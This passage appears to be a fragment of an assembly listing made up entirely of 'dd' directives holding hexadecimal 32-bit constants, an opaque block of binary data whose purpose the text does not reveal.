0AADA8099h, 0B18214h, 0AC3D8823h dd 80D4B3A0h, 5547BA00h, 42DE76D6h, 710D00FDh, 4D31DC13h dd 5000C01Dh, 0BB1554Fh, 0A75A16h, 0ACF39160h, 0BE73D143h dd 7AA1A5Ch, 868C74DDh, 2EBA3F30h, 26B300CCh, 0E5143415h dd 0E40B549Eh, 80455FBBh, 0BF774A1Ch, 6F97003Ah, 7F14FB2Fh dd 3EF49BA3h, 0C2CE910Eh, 0C919E0AAh, 0A54884h, 4E9E3AFFh dd 6D07EE03h, 0E3F05901h, 8DFFCA9h, 0ACE01180h, 0DC031F0Dh dd 0C0F72C77h, 80C27869h, 80F7D389h, 0DF3A558Ah, 0C3FC00AFh dd 0F3C97EE8h, 0CE1D9C6Ch, 6BC0C7BFh, 43EE742Bh, 56E730A2h dd 0BFC8B241h, 0BDD6C407h, 9DF1CCE1h, 0B4405219h, 0FB3CD08h dd 262A44E4h, 0CC302260h, 0E50761D4h, 0BE2B8A68h, 0B8CBE6C0h dd 0F50A00D0h, 22436614h dd 98F6D629h, 0FB111200h, 0B5065FDh, 7D0F02CAh, 8DCC10C0h dd 7038740h, 3525E52Eh, 0D92C003Dh, 0E2374993h, 92220062h dd 2EFECD29h, 0DD0B47C3h, 81864489h, 5C4C2451h, 1E975020h dd 40CC8DCAh, 60126B22h, 2A487E9Ch, 4EDA0778h, 0ECFAD15Bh dd 48E14C80h, 0EA3EFBD8h, 0C01500F5h, 3CBD7554h, 4509C50Eh dd 208DCBA9h, 366E31B4h, 8403491Eh, 55E03400h, 5668221h dd 0FE1C5F09h, 0CCAC21CAh, 39818EEAh, 0B0F7612Eh, 136ED067h dd 68DE691Dh, 33BD349h, 0F8246B3Ch, 0BD1B12h, 1C5B961Fh dd 9C46E4C9h, 0AA014800h, 0A0798056h, 0F6B20197h, 73342F2Bh dd 41C02053h, 0B7012890h, 0BB064970h, 0E44596A5h, 5E231F00h dd 341742Ch, 0FAB7936Ah, 50983C56h, 0CE00B5DCh, 0D41CC954h dd 79043E64h, 177704C6h, 843C331Ah, 7381C734h, 89B097E7h dd 5648A974h, 63600C1h, 0BEBDD8ACh, 0F20D00D7h, 0B446717h dd 0D4716DFBh, 517D2500h, 0F7D8713Ch, 38EF0023h, 46402642h dd 8000B497h, 6AFB1FEEh, 0EA7758A2h, 566000ADh, 0EC4C0E71h dd 0AD9811DBh, 0C0D0FC1Ch, 812EB849h, 1D8CFE50h, 0CB006C23h dd 4CE767C5h, 5EB0786Ah, 0D51D8300h, 72A2FD94h, 0A67400F0h dd 0D2476BDCh, 5E00E9FAh, 0CE01D9F1h, 1FA1905Fh, 0CFAE6CC5h dd 0DEC729C3h, 587A31E3h, 7E05EC57h, 0D0F82F00h, 0C106BCFBh dd 49540030h, 1093F30Eh, 8200DCF7h, 4EDF4AB5h, 0A310Fh dd 1747B0AAh, 27BAF051h, 9989DB0Eh, 0F430C246h, 63A4425Bh dd 6BF00016h, 0EF510B76h, 8E39B8D9h, 0E2332CB7h, 75CAB500h dd 3D3C8B42h, 0D33FA9ABh, 2990490Eh, 0DFA2A740h, 9539B682h dd 0ACA3002Ah, 924F8CDDh, 5F2B0C2Fh, 0DA680BC9h, 0BE807601h dd 331DFB32h, 3A009832h, 753BE37Eh, 0C530C426h, 65BE18CFh dd 6782F05Eh, 805D117Bh, 6D0288B3h, 0DA08A300h, 43B6BB80h dd 665B0648h, 48E72E8Ah, 3320F902h, 486096D2h, 0F823E590h dd 3F9D00F5h, 6E804E50h, 10A0BED2h, 7500035Bh, 55F3DF20h dd 0A50593h, 0B908854Ah, 8FA84D98h, 7297B600h, 5BBF5431h dd 589E00D7h, 903B3D22h, 34002AFCh, 7D20262Eh, 140A54h dd 77D1099Fh, 53DF139h, 0A5805C00h, 0A9469734h, 0E97348h dd 2EA610BBh, 0C9FC1B73h, 0F040D100h, 947E0BFh, 18E50774h dd 77288BE1h, 179700E4h, 67701BC4h, 6593AC0Eh, 0AD526064h dd 0E6A7B30Eh, 0D307007Eh, 3F2F2CC7h, 1B005678h, 0F32548A3h dd 750F8B8Fh, 430B00A7h, 1D9AFA4Ch, 0F607F112h, 0FB732669h dd 68713922h, 1308BC60h, 0F3CA025h, 5F216819h, 806B3A53h dd 0B6985421h, 0E41E39h, 7F91BB1Dh, 7E1C0207h, 0FB02FC76h dd 0F06066B7h, 0BCB4A15Eh, 1FF1A956h, 0EC40ACE9h, 6A52E88h dd 0C2B97DBAh, 93302872h, 7C1E316Dh, 0BAF3078Ah, 90B9C852h dd 0D1287BF7h, 0BF20DE00h, 0C5B7699Fh, 0DC563BD5h, 40384512h dd 57D96A2Ch, 15003427h, 0A0AFCC19h, 1CFFAA36h, 40DDD470h dd 5E5072F2h, 0D1C7743Ah, 5A90A127h, 7BF92668h, 318B04DEh dd 805281FEh, 0B1F09234h, 7093B218h, 902D60A1h, 8FEE1Ch dd 54E245ADh, 0CCA9C78Bh, 0B758A701h, 0DD7242C4h, 360FA480h dd 0E5B4DB7Ch, 0F6602414h, 0AD0C818Ch, 57E891D4h, 4AFB2EB2h dd 0D6384128h, 1AA18F68h, 39096054h, 603A563Eh, 0B449196Dh dd 4A37B196h, 93352010h, 5B5180BFh, 620042C8h, 0F4965D40h dd 0D3679Ah, 6C738C0Fh, 2DA3868Ah, 0AF6B3Ah, 0E8CC905Eh dd 5C25BDA1h, 6F7E14F7h, 21B808EFh, 0A100D06Bh, 6F55CC54h dd 7F57446h, 1EB07E84h, 0F79C37EBh, 192DA0FEh, 8D0051A0h dd 0A567D33Ah, 0EEE5C93h, 9176D4ACh, 57B05098h, 0A296500h dd 135A4050h, 304F7468h, 0D120AD7Eh, 0A700645Fh, 822B4B8Ah dd 381CEFFh, 1A2835C4h, 48009071h, 0C962EEA5h, 3A241BFDh dd 4D80B849h, 0ACBB7A96h, 0C73960CEh, 7BDB8C01h, 6C5088D0h dd 0D3906083h, 65540D8Ch, 13880A26h, 21008748h, 47645CD0h dd 1822F5D6h, 8874E99Eh, 0B2A02955h, 94A8AA83h, 0C0E89DACh dd 11A40430h, 4B502643h, 1BA1FC54h, 0F60922A8h, 2EE30321h dd 0AD9EB50h, 0CB08F5B8h, 0B0BC5730h, 0B0EE190Bh, 0AA7BBDh dd 0F5ED4B74h, 46350785h, 2CE46E54h, 0A1E9048Ch, 62FF25B2h dd 0D16A2095h, 4901A9A1h, 0C041436Ch, 0A8506E1Bh, 8F3A73h dd 939ECB7Dh, 1F7A2F03h, 82DA5A00h, 0AFE7FD5h, 9180F139h dd 57F2FF83h, 5D0A5E9Eh, 844F7A19h, 69413C1Eh, 249C67F8h dd 4670D4h, 1F0D732Ah, 595B24Fh, 36B1A100h, 8BB6F320h dd 9F80003Dh, 0D2F9699h, 0AC008153h, 0ECDAB34Bh, 0B0D2B764h dd 2BF90093h, 31BC84A3h, 5D00F323h, 4E35FC2Ch, 269D1D44h dd 289FF8A0h, 0E41701DDh, 0AF3E1F38h, 1142DF7Bh, 3DCDA004h dd 7010C013h, 1ED2E7B8h, 6BB6BE00h, 366CCC3Bh, 9250022h dd 0DF9C44CDh, 0E63270BBh, 208229E5h, 0B71D5B41h, 0BC773F00h dd 1E501FD7h, 13C78ECh, 5525D9AEh, 0F1E4E503h, 0CF81E27Fh dd 3070AA68h, 520082F2h, 3DA7617Ah, 278C9Bh, 0F1AC8DFEh dd 0D368296Dh, 1CE0B900h, 80B166F2h, 4EAF0070h, 0F76F2CEEh dd 8C0001A1h, 990A614h, 6B80A8h, 6E21D91h, 8871B830h, 749AC300h dd 0B9503576h, 97C90073h, 26108001h, 7B03F8B3h, 5948C286h dd 14BC865Fh, 8C187D3Fh, 9D228300h, 8E0958F3h, 6AEA3500h dd 50EE4829h, 733F0038h, 3C7E1F81h, 6500F234h, 0D72A609h dd 67B0B2Ah, 8C4D68A9h, 0AC0011F3h, 0D69E4505h, 3FA367h dd 469ACD55h, 14EF9738h, 355D3300h, 0A9A67960h, 0E6762C86h dd 0E30601BCh, 0D855BC0Eh, 0BA01FA3Fh, 0AC0F1887h, 6CD895CDh dd 0C4C850EEh, 0A9AA00B0h, 0EE2B1AFh, 42E4D919h, 0D7D01D2Eh dd 37D47500h, 0AD318Ch, 309833E7h, 3D80215Bh, 0CFAD512h dd 977200ABh, 1C627E4h, 4FF25301h, 12AC846Fh, 55F880FDh dd 0A1DD09EFh, 2404E718h, 0B2008E40h, 79701897h, 735BC600h dd 69C40CDBh, 91D23B83h, 0E9BD5D00h, 2689E5EBh, 7E004D7Ch dd 0F102C2A6h, 874922h, 0CBC79272h, 3BAF31C3h, 0F4A33F3Eh dd 2A4CD500h, 39543650h, 226009Fh, 0A7B22F84h, 4DE6A1C8h dd 0AA5C20C0h, 0AB1A4h, 1EBE21EFh, 0AE0E4901h, 9E7BFC18h dd 0E4A950h, 0A6322DEDh, 0FDE36138h, 0A72481Fh, 6D7003Ch dd 0F49F29AFh, 756F038Dh, 98C2A211h, 0C83187C1h, 133A7910h dd 9D690320h, 0B85D34ABh, 1D301584h, 80F9A8D6h, 0D7DE89F1h dd 0D42D99CBh, 0A32A606Ah, 0D36B0F27h, 31406CDAh, 0A8342148h dd 0A781AF0Fh, 9A0181Eh, 35DC4842h, 3D601D00h, 204242Bh dd 4C1C8000h, 91F1C0BCh, 2AEB00ADh, 6583394Dh, 9F28597Bh dd 8F00F0E5h, 4453BBF6h, 6A42FDh, 0AC37C95h, 0D6BF1589h dd 0B9B5AB00h, 0EC381E9Bh, 16C1003Ah, 64EB6E76h, 8F0039BBh dd 1326E085h, 39E95643h, 0A5A43336h, 0A23700C8h, 0CE2BF16h dd 6605C64h, 44CF50D2h, 714F00FCh, 0CCB58AC6h, 48C04BEDh dd 3035DC6Dh, 1E9840EAh, 72627E00h, 212641D9h, 0D2AE00CAh dd 11A53792h, 56FE1BEh, 14F1E460h, 3D1AC200h, 0D776154Bh dd 8C4E7A00h, 0BBC68F0Fh, 0A17800BFh, 1AAC3E41h, 0D71C653Ch dd 7040A6A9h, 16E653C6h, 9162012Bh, 0F563DB22h, 287C606Fh dd 0C0C92E00h, 1A291649h, 0A7DF003Ah, 1E66C1E8h, 0F90040D8h dd 7AB56B99h, 0A8817Dh, 57CF4C77h, 0F60C52C2h, 0E8F2E500h dd 129F95D3h dd 0BDA8A1F3h, 0DC6440CAh, 801900C5h, 0D3586064h, 0F973A5A2h dd 4766B403h, 0F0B30FEDh, 76BED01Bh, 328C0071h, 220A56F5h dd 5500B2A4h, 9F3BF1E0h, 1E119067h, 4044052Ah, 4D2F4696h dd 6A02E051h, 5E154A69h, 73C48016h, 7E6686h, 9E46927Dh dd 0B563751Dh, 8CD20A00h, 68785F90h, 951200CCh, 8AA37438h dd 6A006F56h, 3047099Dh, 1D3A2B83h, 8072A26Bh, 9E816CF5h dd 123B840Dh, 3EA50036h, 0E5352738h, 658703BEh, 0B2E1379Ah dd 80FF76E3h, 0A2302F3h, 1493A000h, 254B356Dh, 82730FE5h dd 6560ED70h, 0D97DACD3h, 43FF0B00h, 92A1531Ch, 819A50D7h dd 0EB60003Fh, 0ADD237B6h, 0FB01E2CAh, 3C8BD631h, 146028D4h dd 0D543E2Ch, 0EFD1CD80h, 0AE158163h, 94078E7Dh, 50B87B6Dh dd 60969811h, 118011DDh, 3A1D3CC1h, 69002A5Ch, 22EF5FF5h dd 13370Ah, 6CBC1CD5h, 0EC23F4B8h, 77807000h, 0A6A0C98Eh dd 50530046h, 859EB14Fh, 65FFC3FFh, 0AD60EACCh, 190E432Dh dd 0A0D83BDDh, 9CFB9193h, 255F28CCh, 8CEA80h, 7DE74A9Bh dd 3BBC1135h, 0F5C51B00h, 0F2F08160h, 3E270037h, 57662F87h dd 0AD00FA6Eh, 5EB8EF98h, 0CC412Bh, 0E34099D0h, 642926F7h dd 0EC45941Ch, 252AFB40h, 43AE90h, 6AF25831h, 0DEEEAF6Fh dd 53352B07h, 0F09CF789h, 0CC0B00B6h, 0AA5B8B05h, 21E6026h dd 9541DAD2h, 0B769E55Ch, 39C740CEh, 65BA0075h, 19F609F1h dd 420F2D31h, 49B4A8EEh, 62FC201Ah, 26790571h, 8028DE5Bh dd 3C6FD601h, 673C6425h, 745D805Eh, 7A31FF87h, 5A410955h dd 0B8037E18h, 54B06879h, 2E3A7204h, 4867AC65h, 3C247480h dd 5C16253h, 0BB7AB14h, 6784D0E0h, 887813F0h, 28A0341Ch dd 12897006h, 209E3890h, 0F724033Ah, 0A9131834h, 20A0EF96h dd 0F3182C63h, 6F086D73h, 9C885CC7h, 0CC7C75h, 6314A094h dd 9634E88Dh, 651CC850h, 34508C68h, 0C56A983h, 4748026Fh dd 0B12986Dh, 520A0C49h, 610C1438h, 0FF6D0A3Ah, 9068CB96h dd 340800DFh, 0AA71EF6Bh, 0F117BCEh, 9D2597B6h, 7CFA7A23h dd 0E2FEC288h, 11D21500h, 7F72C0C4h, 6F9B0004h, 81964D4Ch dd 6A00D6EAh, 0B411643Eh, 4AE548h, 1FBEB75Fh, 32CDC7C0h dd 7B6E8000h, 278DB91Bh, 9A9D004Eh, 0D2C92A97h, 0BF000398h dd 0C1443ED8h, 0EC43CF2Ch, 3AA83A0Fh, 0E5225181h, 0D0EDD390h dd 560077A3h, 947E5FD9h, 0B0805508h, 0E221005Ch, 796DDFCh dd 0C00C3DB9h, 0CA385B10h, 0CD70B588h, 69AA488h, 61056400h dd 0ED0A6BD9h, 7E2B013Eh, 291F16A0h, 0D565D08Ch, 3058AF30h dd 1237FE8Eh, 906F05D3h, 3CF6658Ch, 0A3E3481Eh, 0DF1801D3h dd 93E418h, 5CF289EEh, 15D08D6Ah, 0BE8C351Fh, 4F38C900h dd 60EF6377h, 0CD1F49EBh, 0DF026974h, 8FD00E7Bh, 5E2FE03Bh dd 3B97F6ACh, 10053CA6h, 83967E17h, 0CAA06F3Dh, 180044FDh dd 57F94201h, 0F0C46DBEh, 7E690B9Ah, 1000828Eh, 0A9EB08BFh dd 0CF9286Fh, 53C109h, 68EE06D1h, 941C514Fh, 931D6CA0h dd 822CCF3Eh, 6101CC39h, 842923C1h, 8033CD99h, 0F0DCAA11h dd 7C8D9712h, 81E012A8h, 585F064Fh, 217998DEh, 0CC00BAF8h dd 65FABB11h, 4D3A55h, 2B58B0DDh, 674973B4h, 0C60D8B00h dd 6EFB784Eh, 430B0C11h, 4CB254BCh, 34D33000h, 0A23D6A84h dd 3CCF496h, 24C63E70h, 0BB98D49Ah, 0EE000569h, 6786B3FCh dd 19C5A711h, 102C8B8Fh, 7328812Bh, 0A3FF5CB0h, 0C5E51980h dd 26C0213Ah, 677A1910h, 0DAFA7100h, 569AA1A2h, 0BB78DF00h dd 7422D1B8h, 4879BFh, 7AA768E4h, 71FE0EB6h, 86A11600h dd 956637D4h, 0CDE00042h, 8D805676h, 0ECF14CCBh, 353C21F6h dd 3907011Ah, 0CABCA111h, 608AD3C0h, 0E0AEB0B6h, 873C4996h dd 59A0F26h, 80A48EB2h, 532F5FA0h, 0C8F8E5h, 90E4DC5h dd 2C8C3045h, 7F607672h, 3F13EE9h, 4496303Dh, 0A2208B10h dd 80377A38h, 8A39A61Bh, 757C4E43h, 41F1DCBBh, 9DAF239Fh dd 865087F9h, 71003A4Dh, 0C2567Fh, 0C5334C97h, 0CF1F1C42h dd 0E7AE4700h, 0A67A8FDCh, 0B45900C1h, 721A6092h, 7C003CEDh dd 14C36DA4h, 8FBA56h, 8B506318h, 0E6278568h, 58406963h dd 0F0BBC9EAh, 0C1645080h, 0DEECFC18h, 448510C0h, 1E035h dd 0DC5E9AEEh, 69090591h, 18C3AF71h, 0F02ACB88h, 0ED6C78Fh dd 15BE7F56h, 60444C06h, 6B18DE00h, 0A2DF734Fh, 50FE3A6Ah dd 7F809E00h, 14A1B76Fh, 0E46C1701h, 0B9667345h, 37E6D99Fh dd 9EF3F041h, 3800ECC2h, 0D2FDA457h, 1056B2h, 923AB934h dd 0DE7E121Eh, 473083F3h, 0B9A1493Bh, 0D0D0AFB0h, 0F91C19B2h dd 0FCAA511Bh, 5B004B20h, 2D03D3DFh, 1E8D0Eh, 97399A93h dd 0D8AF1D68h, 5BC088DDh, 757011A7h, 7B56F4F5h, 0FEBB007Ah dd 0C361CB3Ch, 8319AA21h, 401147EEh, 140C044Fh, 7B1041B1h dd 0E2013D76h, 23ED6FC1h, 0F6DC470Dh, 0C53C0310h, 0AF0AB814h dd 0AE6F2811h, 1504A121h, 0AC083DCAh, 22CBC642h, 48272295h dd 9E088B8h, 98C71A88h, 223A51C9h, 0AD7196E2h, 3C1BD601h dd 0C25E3DFDh, 1AEDE4h, 7C3BF331h, 7AF12441h, 5BC0A000h dd 10AB0609h, 95F9077Bh, 97410456h, 86ADE02Eh, 8D00658Ah dd 0CED56A61h, 0E9A52h, 0EBBDB0A6h, 831AF36h, 0ADF76D00h dd 929F8D78h, 2B6A0056h, 909998BCh, 0C074B19h, 8CCB1E04h dd 0A4757Eh, 0BD55768Eh, 3A228172h, 0E9BD9B13h, 578E300h dd 5624AAA9h, 0F519E100h, 0CF2B0223h, 607200B0h, 75411E09h dd 0E002C20h, 50F4E63Dh, 0E6124A4Bh, 9DAB015Ch, 8E8058C9h dd 95D85005h, 1F004F67h, 0A27DCAC2h, 9DB05B06h, 57000950h dd 3F1B50ABh, 4734F6h, 74BE20FBh, 0D310E18h, 30C0600h dd 0B34E6B46h, 0E86791Ch, 61CAD419h, 0D7768A80h, 9600D9F8h dd 0BB454FEDh, 0A599Fh, 0D4B4AFF0h, 0F6337FD0h, 407BBA00h dd 5CBF3723h, 3B3F001Eh, 0C96A2686h, 0DE00EBA3h, 31954A92h dd 0C27399h, 9E838D7Fh, 12D4165Ch, 13D6400h, 931A56FDh dd 62B90032h, 87A8D6C9h, 9100196Ah, 3F203CE3h, 3A5A959Bh dd 43BA1B60h, 7E81D680h, 8E9BCD7h, 0F2CF4100h, 2A9A99EDh dd 20EE0E71h, 96C04B2Dh, 0DB6DFF72h, 0BFA748h, 0E5D392CBh dd 5735F9h, 0D2512DB4h, 421AFCF8h, 4A024CF0h, 0A1F6E6F0h dd 92415573h, 31BFC039h, 0EAAC800h, 9A0F320Bh, 0AFD70784h dd 60CFD1h, 421DB85Eh, 4DFD2F2Eh, 8E0A9326h, 0C480AC78h dd 2854AF1Bh, 0A1E602F6h, 98BB02FCh, 9DB83EE0h, 0CF697701h dd 2BF4D48Ch, 0D17025C5h, 486770B9h, 46240434h, 540404FBh dd 820483CEh, 14148C4h, 7BF457FEh, 6AEE4A1h, 3300C677h dd 1CBFBDB5h, 90E6963Ah, 850B0308h, 0FBE3B3E0h, 20981000h dd 82DDFFC1h, 783C000Ah, 344EF46Ah, 0D9002FEBh, 0FF83BFEh dd 24722292h, 564DE1Bh, 0C704A2B4h, 0EB326013h, 0D3008F8Bh dd 6B54DBE0h, 0DE25B2h, 7C584B37h, 6AF13398h, 480CF0EBh dd 34220400h, 80056F2Ch, 141D2C93h, 43003DE7h, 8330B7F4h dd 0D40B5F4Ah, 80D5E913h, 0E4035C0Ah, 50F200DDh, 3063228Ch dd 0DB00E576h, 0CA6141F8h, 78D20CBCh, 6E4A0F79h, 827CC33Ah dd 0D428CB37h, 4009E540h, 2CCA3100h, 140FD6DFh, 94010307h dd 371AB585h, 767970E8h, 0FDD39C00h, 96251DC4h, 0C6230127h dd 843A8F0Dh, 0EC9AD4BCh, 0BF0673FAh, 2DC4E67Dh, 0F757D60h dd 499FB455h, 0AE4A00BDh dd 28C41344h, 665D8100h, 5CDE724Bh, 0E448C507h, 9BF400E0h dd 0F6DAEFFAh, 0B7077C90h, 9A6F2F47h, 70FE20E0h, 38300E0h dd 3177B6A7h, 0D60BC51Ch, 544634h, 5824FE46h, 0C0EB09C1h dd 5080CFF2h, 4A70B00Fh, 301CA548h, 0DCC82857h, 1F2003Dh dd 137398A1h, 1200B32Ah, 6B5FD467h, 0B4522949h, 46C800C8h dd 0F1C24278h, 0FC6F771Ch, 0FD80DCDFh, 0B513EED0h, 735B005Dh dd 40E96B27h, 5E17334Ah, 280EF60Ah, 61FBE17Ah, 2180652Ch dd 3E2AF915h, 0D50CE0A1h, 186E4F09h, 437404B2h, 0C008E327h dd 0A7A8554Fh, 0FE1D0501h, 9B7C6885h, 1FF50CF8h, 525B0ABAh dd 0E120009Ch, 55F3CCECh, 0C8FB7D00h, 9E7FBBFDh, 9EA7743h dd 0CC7667CBh, 0A91000DDh, 3070D8h, 0D7714960h, 43CFF7E7h dd 0DBC5731Dh, 6B3982C0h, 55EF448h, 0D9A25A3Ah, 79100DFh dd 0A47EFA9Dh, 8300F790h, 490355F8h, 0EFDBD3h, 0B723AF37h dd 0D5CC4035h, 2BB4BA01h, 759D14BBh, 97FCC20h, 0EFE53EFBh dd 720C4A0h, 4400DDC7h, 0FF3CF8B6h, 0B956E0h, 320211CAh dd 71A88593h, 0CE23F700h, 77E264D2h, 4D500D0h, 398F58AAh dd 6E003335h, 6F1061FAh, 0F5057EA0h, 24E878DDh, 76D005Bh dd 0C804C6DDh, 8018916Ch, 83296ED8h, 749400A4h, 0CB432771h dd 761F148Dh, 2DCEB862h, 1A1D401Bh, 955C47h, 0EE02BA3Ch dd 946372C1h, 0F285F41Ch, 0A6A80BBh, 8BEA17F5h, 499C1EE3h dd 4023DEE2h, 0B9020FD9h, 510078C5h, 878CDA5Fh, 4FABAFh dd 10B0888Eh, 46644D03h, 0F7C55007h, 0BD09B36h, 0FB9FA5h dd 0EE64847h, 0FF93DB2Ah, 0B86B4F00h, 6CCFD45Ch, 0BA4A0FF2h dd 0AAE061B3h, 74450763h, 8BE0B900h, 5209CCC4h, 0CE5700D2h dd 3EB1BBE4h, 5A00D553h, 6015C3CDh, 26507Eh, 3C1E31BCh dd 48F61B09h, 0F76E3007h, 0E5C0FB5Ch, 1FF0C665h, 81A6735Dh dd 6F9F3C2Ah, 7840701Bh, 46261800h, 94A5F9A1h, 2DB700DCh dd 0F9BB884h, 2AFA2BEBh, 0A6918900h, 0CB692316h, 0C45D009Ah dd 7CC8B027h, 0E6073B3Eh, 2F4C8B01h, 90B5BA53h, 8165CCh dd 6EF91BC8h, 24685062h, 0D4006CE2h, 0FB3802Bh, 0E48E73h dd 0ABE72DBCh, 0BA29822Eh, 0FBD7ED00h, 0FFDB324Ch, 72D1C01Ah dd 3DD0C5A6h, 0AF803Bh, 0A4A36CD1h, 12D0A68h, 0C0550616h dd 0F42F7E7Ah, 9363D757h, 0A0766529h, 2B8AD68h, 56E3387Bh dd 2A405E9Ah, 283024F4h, 0F6B4A472h, 0D53E0032h, 52D6E8D2h dd 0C370700Ch, 3355000h, 133355DDh, 9D9A00EAh, 1B8D4539h dd 7C60F216h, 0A8EDA129h, 0B17511h, 281DB655h, 93AA6A51h dd 409A5400h, 142C4B0Ah, 9B3700BEh, 172052Fh, 50F0959Fh dd 79D8B7h, 96B98680h, 4523425Fh, 0B819B300h, 3E375897h dd 0A4800018h, 99CCDCB6h, 0F4017155h, 698932E3h, 5DD9D601h dd 5124BD0h, 68C97E48h, 0DF8C0754h, 0AF9AC1C8h, 82EE3055h dd 44313A00h, 23BB1D91h, 24817B73h, 30DF367Fh, 8ED0907Eh dd 6D61BE70h, 1E8A462Eh, 26EDD4h, 0A129EBA5h, 66C1840Eh dd 0A77F650Ch, 73531C8h, 24869D19h, 3846D0FFh, 260F8F77h dd 40ABAD98h, 2E943E13h, 5496000Ah, 5B372832h, 0C401ED65h dd 5F7A076Eh, 1DF0DBA4h, 171F00AFh, 0E1ACD27Ch, 0B81D24B3h dd 19C01402h, 0EC6C783h, 37A000EEh, 454A0856h, 5160DF34h dd 0A6B20CD2h, 77031C66h, 0F9BD008Ch, 5AD3CC96h, 241D760Eh dd 0F51000A9h, 1793215Fh, 490CEFh, 0D2E06A7Ch, 0DE00BCCBh dd 5E1B072Ch, 24666F42h, 46F412h, 0F7ED4B28h, 0D409B508h dd 553BD9h, 419754F0h, 31BD0110h, 0E9754074h, 5FCD70EEh dd 0F586A18h, 1C9FC0h, 1064E56Bh, 955B56D8h, 0E7996100h dd 0CFA57E8Ah, 0B77004A9h, 805A831Ch, 0B2D8EEDCh, 0EBFAA10Dh dd 0C0F490F8h, 0EA3032D9h, 0BE005079h, 3D344032h, 0EF00D7CAh dd 6F6EEA3Fh, 7603FA9Ch, 1F0BB3D3h, 0DA2A905Dh, 0CFF01C0h dd 2740FE3Dh, 68F820EAh, 8C91413Ah, 386E9AA2h, 26C10009h dd 0BAB7693Dh, 0AE3B7538h, 6B02007Eh, 0DC68FC37h, 2BBE00D9h dd 0CCAD2744h, 7C008F9Fh, 380A11BCh, 7AFF2054h, 2ACA0030h dd 722D4EEFh, 731EF97Eh, 924081FAh, 668BB65Ah, 0E4E230C5h dd 82C8D2D0h, 1CA4F400h, 0B7D09F16h, 79EF009Dh, 0C9692D27h dd 0F50C9BB9h, 0F031EDF8h, 92BB000Ah, 0FF50412Ah, 762E7FF0h dd 0EE016B3Eh, 5871E544h, 16B9820h, 0AD36076Ah, 8156F10Eh dd 967487F9h, 0E3C09F2Dh, 5BC00633h, 213567D1h, 5958F600h dd 703C8EB5h, 0AE7B076Fh, 0C0E9F851h, 315EF0ACh, 7896A007h dd 35F005C0h, 0F0CA6AE8h, 1A270084h, 6EB31E0Fh, 5A3F455Fh dd 7DFF00AAh, 0AEA3FBEDh, 762490D5h, 0FC4E00E5h, 545E7C0Fh dd 9B7FE79Fh, 0E027EB00h, 0F46ADBB1h, 0FDA600E1h, 20868D10h dd 81056C42h, 0CF9D844Dh, 0A10D07FEh, 9F000B8Ah, 6F9ACD97h dd 2D2ED605h, 0F01C07A2h, 2A5AE100h, 1639BB7h, 59DC9C44h dd 8033C20Ch, 874CC5D0h, 52B10Bh, 7784711Bh, 0E05E64Eh dd 8900DA77h, 767926BBh, 7A3F9757h, 0DEE024F1h, 947D80E4h dd 0D15EF6B7h, 7B23B90Fh, 27744007h, 0F4B301A1h, 893A07FDh dd 20EA3DE2h, 0FC9C16AEh, 6216B3B8h, 5C13351Ch, 0BE993C01h dd 78202977h, 0B865015Dh, 28BAA963h, 20F5F994h, 0B013214h dd 0CC50666Bh, 13C46CB3h, 4B30007Ah, 296177D5h, 7E01DA52h dd 0ACCA7FB1h, 50805AA6h, 50FFD26Eh, 0A880CD79h, 0F02188A5h dd 7FB4AB00h, 922B06E1h, 0CE490051h, 0A342401h, 0B200E357h dd 3813151Dh, 50F8B983h, 387D94C2h, 9FCE0B5h, 63BAEE44h dd 0BF00A009h, 884E32B2h, 58E8EA00h, 0AA386054h, 3EA2B01Bh dd 8E8014B1h, 916E4097h, 0E51E022Bh, 4641C4ECh, 8598922Ah dd 30D229D4h, 0B8E09B87h, 49003411h, 1DEAD58Eh, 0C2A64h dd 386C09A4h, 36136BADh, 7C242F1Fh, 0FCB7CBC0h, 265787C8h dd 80BCE57Bh, 58F9BBF0h, 0A8033F17h, 0F57AF3ACh, 872AB05Bh dd 78F807ABh, 0A02355FBh, 1AC8C89h, 92FE1C00h, 0B98DC5B0h dd 192212FAh, 1D1BEC29h, 80FEF8BDh, 4E5F0502h, 389147h dd 69B484EDh, 0A8223199h, 0CE469C92h, 82164000h, 8B283EA6h dd 0FA04514h, 0F5BD0394h, 96EC37Eh, 72F3A711h, 28860180h dd 9D3BB061h, 0D6C20011h, 6C521236h, 0DD7002F4h, 6F0AA99Fh dd 48B1FC60h, 0AA30C861h, 0A8306CF5h, 39560474h, 0C0DA7843h dd 402D4CE0h, 0E92AB303h, 0EA1A4A44h, 0AB08490Ch, 6F015063h dd 5A3A7108h, 0FF407068h, 5EBF2C00h, 3850E3F6h, 0C9820043h dd 3BED371Eh, 8B00BEABh, 0D3CEB2B7h, 0DBC64CDh, 132A773Ah dd 40DF60D0h, 9D731700h, 340B0E96h, 80944859h, 8C654400h dd 27DA828Eh, 73B9A53Dh, 8041E438h, 0A6FA94B5h, 0E44F478Ah dd 0AA820009h, 0FF58BD8h, 0D41EA077h, 1240B704h, 2AB486E3h dd 0DC5E0149h, 5ADFAE82h, 2FB70BAh, 0D89739h, 915407A1h dd 72D05F72h, 0C9E92C35h, 0A3F6832Ch, 40980FA6h, 140082F2h dd 941AA10Eh, 76E093Bh, 20AFA4FDh, 0E025A7B7h, 49C7BEAAh dd 248D5607h, 0B221A713h, 12C95548h, 4C0DA8F0h, 2F08C451h dd 670035E6h, 7DBA8C29h, 0FE31550h, 7338F882h, 71161202h dd 0B8806D5Dh, 66E53E0Dh, 0B0365B26h, 0A411A1Eh, 159DFF8Dh dd 30D45020h, 1F605AEFh, 0D0007F53h, 8C5C5191h, 0D8E8E1h dd 4BD17C3Ch, 1EF8F1CDh, 9E2E93FEh, 77007C43h, 78136304h dd 1FED00EAh, 0D7584A34h dd 0B03C764h, 0AF1C2F2Eh, 65AEC0E1h, 619900B9h, 8553D45Fh dd 9500B4DFh, 7E82FAA3h, 0F0645Ch, 37D8A518h, 39F29443h dd 9A4F3300h, 1E36CBBEh, 3A237762h, 0AD8E2BD4h, 0D62078F5h dd 0E5EA68B6h, 77DAC300h, 289B97FBh, 38610530h, 4012947Bh dd 5BBF11CCh, 0FC00EA9Ch, 53C72C65h, 15EB6834h, 98AC1D52h dd 0D08E360Bh, 0E16C00A0h, 0E40084EAh, 962F06F4h, 216D85h dd 0FC1824F8h, 0D7628048h, 4015E601h, 63398A13h, 47F90840h dd 0EE65004Bh, 8345059h, 0E001662Bh, 0CD393F3Bh, 9824CFEBh dd 4EC90064h, 88F1FABh, 0B152CE3Ch, 0E9662010h, 5DD9C880h dd 25D537EFh, 0F27F4BE8h, 559F18DFh, 0DA926105h, 0F3142F80h dd 499801B5h, 59C9A6BBh, 0CE9CE0AFh, 831DEB00h, 